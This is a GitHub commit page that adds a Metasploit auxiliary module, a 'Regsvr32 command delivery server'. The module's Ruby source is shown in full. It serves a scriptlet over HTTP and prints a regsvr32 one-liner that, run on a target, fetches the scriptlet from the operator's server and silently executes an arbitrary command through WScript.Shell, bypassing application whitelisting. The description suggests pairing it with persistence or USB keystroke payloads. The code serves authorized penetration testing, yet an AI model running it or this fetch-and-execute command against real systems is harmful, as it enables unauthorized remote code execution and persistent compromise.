Skip to content

Commit c00df4d

Browse files
David MaloneyDavid Maloney
authored andcommitted
Land rapid7#6969, Regsrv cmd delivery server module
This Lands kn0's PR for the Regsrv32 command delivery server
2 parents 39b889e + 90f84d9 commit c00df4d

File tree

1 file changed

+71
-0
lines changed

1 file changed

+71
-0
lines changed
Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
8+
include Msf::Exploit::Remote::HttpServer
9+
10+
def initialize(info = {})
11+
super(update_info(info,
12+
'Name' => 'Regsvr32.exe (.sct) Command Delivery Server',
13+
'Description' => %q(
14+
This module uses the Regsvr32.exe Application Whitelisting Bypass technique as a way to run a command on
15+
a target system. The major advantage of this technique is that you can execute a static command on the target
16+
system and dynamically and remotely change the command that will actually run (by changing the value of CMD).
17+
This is useful when combined with persistence methods (e.g., a recurring scheduled task) or when flexibility
18+
is needed through the use of a single command (e.g., as Rubber Ducky payload).
19+
),
20+
'License' => MSF_LICENSE,
21+
'Author' =>
22+
[
23+
'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
24+
'Trenton Ivey', # MSF Module (kn0)
25+
'mubix', # Auxiliary module idea
26+
],
27+
'References' =>
28+
[
29+
['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html']
30+
]
31+
))
32+
33+
register_options(
34+
[
35+
OptString.new('CMD',[false, 'The command to execute',''])
36+
])
37+
end
38+
39+
40+
def run
41+
exploit
42+
end
43+
44+
45+
def primer
46+
print_status("Run the following command on the target machine:")
47+
print_line("regsvr32 /s /n /u /i:#{get_uri} scrobj.dll")
48+
end
49+
50+
def on_request_uri(cli, _request)
51+
print_status("Handling request from #{cli.peerhost}")
52+
data = gen_sct_file(datastore['CMD'])
53+
send_response(cli, data, 'Content-Type' => 'text/plain')
54+
end
55+
56+
57+
def rand_class_id
58+
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
59+
end
60+
61+
62+
def gen_sct_file(command)
63+
# If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
64+
if command == ''
65+
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
66+
# If a command is provided, tell the target system to execute it.
67+
else
68+
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
69+
end
70+
end
71+
end

0 commit comments

Comments
 (0)